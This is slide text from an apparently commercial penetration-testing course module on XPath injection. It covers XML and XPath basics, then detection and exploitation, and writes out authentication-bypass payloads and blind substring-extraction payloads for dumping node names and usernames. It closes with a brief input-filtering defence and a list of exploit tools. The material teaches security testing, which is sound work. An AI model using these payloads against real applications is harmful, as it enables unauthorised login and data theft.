13.1.

XML Documents and Databases

13.2. XPath

13.3. Detecting XPath Injection

13.4. Exploitation

13.5. Best Defending Techniques

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
EXtensible Markup Language (XML) v1.0 is a markup language
(such as HTML) mainly designed to describe data and not to
display it.

Due to their nature, XML documents are often used as databases.

Data can be read and written through queries, and the XML
database looks just like an XML document.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

This is a very simple example of an unsecured XML database
(password in clear) that stores user credentials.
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user id=’1’>
<username>jason</username>
<!-- Comment -->
<password>dh8Gjnkj</password>
</user>
<user id=’2’>
<username>chris</username>
<password>ddssdPikmd</password>
</user>
</users>

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Let’s inspect the content of the previous document to understand
XML documents better.

<?xml version="1.0" encoding="ISO-8859-1"?>

The first line of the document is the XML declaration. Although it is

not required, if it exists, it must be the first line in the document.
The XML declaration usually defines the current version number
(1.0 in our case) and the encoding type.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

 <users>
…
</users>

The next line describes the root element of the document. XML
elements define the structure of the document and identify named
section of information. It is important to know that elements form a
document tree: in this specific case, <users> is the parent of all other
elements.

Note that all elements must have a closing tag and must be properly
nested.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

In contrast to HTML, you can use any naming convention you
wish for elements, just as long as you follow these simple
naming rules:
• Names must start with a letter or underscore and cannot
start with the letters xml
• Names are case sensitive
• Names can contain letters, digits, periods but no spaces

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

 <user id=’1’>
…

The next line describes a child element. Similar to HTML tag,

elements can have attributes (name="value"), which are useful
in defining properties of elements. It is important to realize that
attributes must be quoted and can only appear in start tags. In our
case, the user element has the attribute named id with its value
set to 1.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

 <username>jason</username>

The element above is a child node for the element user. This
time, the element does not contain a child. Instead, it contains
text.

You can consider this text as the value of the element. If you
consider a database structure, jason would be the text contained
in the table users, column user with id=1.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

 <!-- Comment -->

Similarly to HTML, XML documents can define and contain

comments.

As with any programming language, a comment is defined as any

type of content that is not intended for the XML parsers.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

In the previous slides, we covered the very basics of XML
documents. If you want to know more about XML structures,
elements and so on, please use the following online resources:
• http://www.w3.org/XML/
• http://www.w3schools.com/xml/default.asp
• Microsoft.com XML Standards Reference

https://msdn.microsoft.com/en-us/library/ms256177(v=vs.110).aspx

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
XPath (XML Path Language) is a standard language used to query
and navigate XML documents. At the time of this writing, the latest
version is 3.0.

XPath makes use of path expressions to select nodes from an XML

document. Let’s make this clearer with an example.

https://www.w3.org/TR/xpath-30/

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Back to the previous XML document, the XPath query to look for a
node user based on the inserted credentials is:

//user[username/text()='<USERNAME>' and password/text()='<PASSWORD>']

Where <USERNAME> and <PASSWORD> are input values, inserted

by the user, therefore, they should be sanitized before being used.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Before inspecting the previous XPath query, let’s analyze the
most important expressions:
• /: select the document node
• i.e., /root will select the root element
• //: select all nodes (that match the selection) regardless of
their position in the document
• i.e., users//user select all user elements, no matter where they are
under the users element
• node_name: select all nodes with name node_name
• i.e., users/user select all user elements that are children of users

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Let’s see some other expressions and conditions:
• @: select attributes
• i.e., /@id select all attributes that are named id
• [element and condition]: select all nodes that match the
defined
• i.e., user[username] select all user elements that contain at least one
username element child
• i.e., user[username/text()='john'] select all user elements that contain
the username element child text set to 'john'
• i.e., //user[@id='1'] select all user elements (no matter where they are
in the document), with the attribute id set to 1

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

To better understand XPath operators and syntax, let’s run some
queries on the previous XML document:
//user Select all user element no matter where they are

XPath expression Element='<user id="1">

<username>jason</username>
<!-- Comment -->
XPath result <password>dh8Gjnkj</password>
</user>'
Element='<user id="2">
<username>chris</username>
<password>ddssdPikmd</password>
</user>'

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Select all username elements that are a child of the users element.
Note that they can be anywhere, as long as they are within the
users element.

/users//username
XPath expression
XPath result
Element='<username>jason</username>'
Element='<username>chris</username>'

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Select the username elements that have the parent user id
attribute value set to 1.

//user[@id='1']/username
XPath expression
XPath result
Element='<username>jason</username>'

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

 Let’s now analyze our previous query:
//user[username/text()='<USERNAME>' and password/text()='<PASSWORD>']

• //: select all user elements no matter where they are in the
document
• username/text()='<USERNAME>': return only the element
with the username text value set to <USERNAME>
• and: Boolean operator
• password/text()='<PASSWORD>': return only the element
with the password text value set to <PASSWORD>

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

If we set the username to jason and the password to dh8Gjnkj, we
will get the following result:
//user[username/text()='jason' and
password/text()='dh8Gjnkj']
XPath expression
XPath result Element='<user id="1">
<username>jason</username>
<!-- Comment -->
<password>dh8Gjnkj</password>
</user>'

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

If you want to dig deeper into XPath expressions and syntax, please
refer to the following resources:
• https://www.w3schools.com/xml/xpath_syntax.asp
• https://msdn.microsoft.com/en-
us/library/ms256086(v=vs.110).aspx

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

As you may recall, in SQL you were able to insert a comment
expression into a query.

For example, consider the following SQL query to match users

credential against the database (login operation):

"SELECT * FROM users where username='".$_GET['user']."' AND

password='".$_GET['password']."'"

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

The attacker was able to insert a comment (using the ; --
syntax) into the user field to neutralize the piece of the query
containing the AND condition:
"SELECT * FROM users where username='' OR 'a'='a' ; -- AND
password=''"

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Thanks to the comment, the attacker prevented the AND condition
from affecting the SQL query, therefore, the authentication query
is always true, and the login form has been bypassed!

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Unlike SQL, the XPath language does not permit comment
expressions. The attacker must provide a specific payload to
bypass a Boolean operator present in the query.

We will see this in the exploitation process.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Unlike SQL, XPath is a case-sensitive language. Therefore, this
means that the keywords of the language must be specified exactly
as they have been declared in the language specs.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

For example, the logical operators must be specified in this
manner:
• and
• or
• not()

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
The first step for an attacker is to check whether the web
application is susceptible to XPath injection.

As noted earlier, it is necessary that the web application makes use

of an XML database for data storage and querying.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

The detection process is the same as in SQL injection; the attacker
must discover each web application parameter and send specific
input data (probes) to check whether it is vulnerable.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Classic probes include:

APOSTROPHE COMMA

' ,
used as string used to break
terminator integers, although any
character would work

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

In the next few slides, we will refer to a simple, vulnerable web
application called CountryInfo. The web application accepts a
parameter countryID and uses it to query an XML document
through XPath queries.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

This is a case of a web application responding with XPath errors.

After injecting the test payload, the attacker receives an error and,
from that, can glean that his input payload has broken the XPath
query.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

In some rare cases, the attacker can discover part of the original
XPath query by using errors, as shown in the next image (based on
how the errors are handled by the application).

Do not confuse this with Microsoft SQL Server error reporting.

That is a set of error-based techniques in which the database
driver aids us during the SQL injection process with overly verbose
errors.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

The web application CountryInfo will return an error message if
the attacker provides, as input, the string terminator (single
quote):

The error message describes that the XPath query has been broken
by the input character ' .

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

In the previous cases, the web applications displayed errors to end
users, however, in case web applications do not display error
messages, the attacker must detect the injection blindly by
observing application behavior.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

In a blind injection, the attacker will try to trigger two conditions:
TRUE and FALSE.

The TRUE condition will be determined by an injection payload

forcing an always TRUE statement, like 1=1.

The web application output will be different from the one returned
with a FALSE condition like 1=2.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Similarly to SQL Injection, if the web application is vulnerable, it
will react differently and return two different outputs.

For the next tests, we will use the same web application used
before, but this time the error messages are not displayed.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Let’s suppose that our test web application hides errors from end
users. For example, if the attacker inserts malicious input, nothing
is printed on the screen:
The application does not
display an error.
Also note that since the
query is syntactically
wrong, the output is empty.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

The web application hides the errors but, this does not mean that
it is not vulnerable.

The goal of the attacker is to look for two payloads making the
XPath query respectively always TRUE and always FALSE.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

In the previous chapter, the attacker knew the XPath query
because it was revealed by the error message.

Now, the attacker does not know the XPath query but can imagine
that it is something logical and similar to this:

//<someNode>[<someOtherNode>=<countryID>']

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

The attacker must look for a payload that makes the XPath query
always TRUE; so, he can try to use the following payload, which will
show the country Italy:
999999 or 1=1

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

In the previous payload, 999999 is most likely missing countryID in
the database and 1=1 is a Boolean expression that is always TRUE.

According to the attacker’s assumptions the XPath query will be

always TRUE because the query looks like:

<someNode> [<someOtherNode>= 999999 or 1=1]

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

You are sure that Italy does not have ID 99999, so you can
conclude that the query returned a result set.

The web application has shown only one record, probably the first
or the last depending on the web applications server-side code.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

The page above will be shown in all the cases where the OR
Boolean condition returns TRUE, for example with the following
input data:
999999 or "a"="a"

999999 or 2=2

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

The attacker must now look for a payload that makes the XPath
query always FALSE; so, he will try to use the following payload:

999999 or 1=2

Where 999999 is an unused countryID in the database and 1=2 is a

Boolean expression that always evaluates to FALSE.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

If the attacker’s assumptions are right, the query will not return
any information. Indeed, as we can see in the following
screenshot, the application does not return a country:

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

According to the attacker’s assumptions, the XPath query will
always be FALSE because the query looks like:

<someNode> [<someOtherNode>= 999999 or 1=2]

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

This behavior is different from the first (detecting the TRUE
condition). The previous page has shown, in all the cases, where
the OR condition returns FALSE, for example, with the following
input data:
999999 or 'a'='b'

999999 or 1=9

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

The output yielded by the TRUE condition is different by the
output returned by the FALSE condition.

You can conclude that the web application is vulnerable to XPath

injection for the parameter of countryID.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
With this process, the attacker takes advantage of the vulnerability
to access restricted data. Generally, the attacker exploits the
vulnerability to perform actions such as:
• Bypassing authentication
• Extracting the XML document structure and contents

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Let’s see how to bypass an XPath authentication query and how to
extract the XML document structure from it.

We will be referring to a simple web application that stores user

credentials in an XML document and uses XPath queries to access
it.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

We will use, as an example, an XPath query that manages the
authentication of a web application.

Generally, an XPath
authentication query
looks like the following:

<someNode>[username='<USERNAME>' and password='<PASSWORD>']

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

The expression username='<USERNAME>' and
password='<PASSWORD>' can be represented as:
• (A and B), where A and B are the two conditions that must
be verified to authenticate.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

The attacker’s goal is to bypass the authentication system; so, he
will look for a payload that makes the above query always TRUE.

As noted earlier, the XPath language does not allow comments

inside the query itself; this makes exploitation slightly more
difficult because the XPath query contains the Boolean operator
AND.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

If the attacker chooses the username as the injection parameter,
the payload must be something like this:
' or 'a'= 'a' or 'a'= 'a

The XPath query would then become:

//<someNode>[username='' or 'a'='a' or 'a'= 'a' and password='']

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

The expression

username='' or 'a'='a' or 'a'='a' and password=''

A C D B
can be represented as:
• (A OR C) OR (D AND B)

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

The payload is inserting two new redundant Boolean operators to
achieve the scheme on the last page:
• In an OR comparison, the second condition (D AND B) is
checked only if the first (A OR C) is FALSE.

Since A OR C is always TRUE, the second is never checked: the

attacker has neutralized the AND.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Let’s see now what payload the attacker should use if he wants to
target the password as the injection parameter:
' or 'a'= 'a

The XPath query would become:

//<someNode>[username='' and password='' or 'a'='a']

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

The expression

username='' and password='' or 'a'='a'

A B C
can be represented as:
• (A AND B) OR (C)

The expression (C) is always TRUE, so the overall query is always

TRUE and, therefore, returns a result set.
Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
The attacker’s main goal is to extract all the XML document data;
this operation is identical to dumping a database during a SQL
injection.

In an SQL database, you had schemas, tables, and columns. In an

XML document, you have nodes, attributes, and values. So, the
attacker’s goal will be to get all the nodes, attributes, and values of
the XML document that is being used as a database.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

For example, jumping back to our vulnerable web app, a typical
XML document used as a credentials database may look like the
following:
<users>
<user>
<username> philip </username>
<password> mypass </password>
</user>
...
</users>

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

As the attacker, you do not know the structure of the XML
document, but you need to find it out!

The XPath language does not have a statement similar to the

UNION statement in SQL, so the exploit can only be done with a
BLIND technique.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

First of all, the attacker needs to detect which input data satisfies
the TRUE and the FALSE conditions. For example, considering the
password as the injectable parameter, the input data satisfying the
two conditions would be:
• For the TRUE CONDITION: ' or 'a'= 'a
• For the FALSE CONDITION: ' or 'a'= 'b

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Some useful XPath statements to remember during the exploit are:
*[1] Returns the root node
name(*[1]) XPath function returning the identifier of the root node
(users in our example)
name(/users/*[1]) A function returning the identifier of the first child of the
root node (user in our example)
/users/user[position Selects the username of the first user node (example). The
()=1]/username user node is child of the root users node.
Substring(‘label’,1,1) An XPath function returning the first character of the label
string – ‘l’

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Suppose that in our example the identifier of the root node is
users. The attacker will perform multiple XPath queries to find all
the identifier’s characters.

Note that each time the condition is true, it means that the
character used is correct and we can then go on with the next
character.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

To get the first character of the string, the attacker must insert all
of the following payload data until the TRUE condition is met:
• ' or substring(name(/*[1]),1,1)= 'a
• ' or substring(name(/*[1]),1,1)= 'b Check if the first
• ' or substring(name(/*[1]),1,1)= 'c character of the root
node name is a, then
• ... b, then c and so on
• ' or substring(name(/*[1]),1,1)='u
• This payload will verify the TRUE condition; so, the first character of the
identifier is ‘u’

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

To get the second character of the identifier string, the attacker
must perform all of the following queries until the TRUE condition
is met:
Check if the second (note the 2
• ' or substring(name(/*[1]),2,1)= 'a in the substring function)
• ' or substring(name(/*[1]),2,1)= 'b character of the root node
name is a, then b, then c and so
• ' or substring(name(/*[1]),2,1)= 'c on

• ...
• ' or substring(name(/*[1]),2,1)='s

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

At the end of these iteration sets, the attacker will finally have the
identifier of the root node: users.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Let’s now keep going with our investigation and try to retrieve the
name of the first child node of the root. For now, we know that the
XML document structure is as follows:

<users>
…
</users>

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

The attacker will perform multiple XPath queries to find out all the
identifier’s characters.

To get the first character, the attacker must insert all the following
payload data until the TRUE condition is verified:
• ' or substring(name(/users/*[1]),1,1)= 'a
• ' or substring(name(/users/*[1]),1,1)= 'b
• ' or substring(name(/users/*[1]),1,1)= 'c
• ...
• ' or substring(name(/users/*[1]),1,1)='u

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

To get the second character of the identifier the attacker must
perform all the following queries until the TRUE condition is met
again:
• ' or substring(name(/users/*[1]),2,1)= 'a
• ' or substring(name(/users/*[1]),2,1)= 'b
• ' or substring(name(/users/*[1]),2,1)= 'c
• ...
• ' or substring(name(/users/*[1]),2,1)='s

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

At the end of these iteration sets, the attacker will find out the
identifier of the first child node: user.

We know the following XML document structure:

<users>
<user>
…
</user>
</users>

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Suppose that you have discovered all the node identifiers of the
XML document.

In our example, we will say that you know all the identifiers of the
nodes: users, user, username, password and how they appear
in the hierarchy.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Now, you want to get the content of a node like a username
record. You can access the username using the following XPath
query:

/users/user[position()==$i]/username

Where $i is a numerical placeholder (that you could iterate to

discover every username in the system).

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

In our example, the first username in the list is philip. The attacker
will perform multiple XPath queries to find out all identifier’s
characters:
• ' or substring(/users/user[position()=1]/username,1,1)= 'a
• ' or substring(/users/user[position()=1]/username,1,1)= 'b
• ' or substring(/users/user[position()=1]/username,1,1)= 'c
• ...
• ' or substring(/users/user[position()=1]/username,1,1)= 'p
This returns TRUE

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

To get the second identifier’s character, the attacker must perform
all of the following queries until the TRUE condition is met again:
• ' or substring(/users/user[position()=1]/username,2,1)= 'a
• ' or substring(/users/user[position()=1]/username,2,1)= 'b
• ' or substring(/users/user[position()=1]/username,2,1)= 'c
• ...
• ' or substring(/users/user[position()=1]/username,2,1)= 'h

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

At the end of the iteration sets, the attacker will find out the
username: philip. So, the payload to determine the second
username will be:

' or substring(/users/user[position()=2]/username,1,1)= 'a

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
The best way to protect against XPath injection is to filter all input
data.

For example, jumping back over to the XPath authentication query,

there are two fields, username, and password. The XPath query
are mapped as a string type thus the reason for needing a filtering
mechanism.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

A good practice would be to filter out any non- alphanumerical
character.

Here is a very basic example:

• $username=filterChars($_GET['username']);
• $password=filterChars($_GET['password']);
• $query="//user[username/text()='".$username."' and
password/text()='".$password."']/username";

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

Due to the nature of the exploit, the process can take a very long
time, but it can be easily automated. To this end, many interesting
exploit tools have been developed; the most important are:
• XPath Blind Explorer
• Xcat

Here you can find very useful resources:

• XPath Injection
• Blind XPath
https://code.google.com/archive/p/xpath-blind-explorer/ https://www.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)
https://github.com/orf/xcat https://www.owasp.org/index.php/Blind_XPath_Injection
Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
XML w3c XML w3shool
http://www.w3.org/XML/ http://www.w3schools.com/xml/default.asp

XML Microsoft XPath v.3

https://msdn.microsoft.com/en-
http://www.w3.org/TR/xpath-30/
us/library/ms256177(v=vs.110).aspx

XPath Syntax W3School XPath Syntax Microsoft

https://www.w3schools.com/xml/xpath_synt https://msdn.microsoft.com/en-
ax.asp us/library/ms256086(v=vs.110).aspx

XPath Blind Explorer Xcat

http://code.google.com/p/xpath-blind-
https://github.com/orf/xcat
explorer/

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

XPath Injection Blind XPath
https://www.owasp.org/index.php/Testing_f https://www.owasp.org/index.php/Blind_XPa
or_XPath_Injection_(OTG-INPVAL-010) th_Injection

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

XPath Injection and Xcat

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

XPath
In these XPath Injection labs, the student can
practice attacks techniques to exploit XPath
injection vulnerability in order to gather sensitive
information from the target web application.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018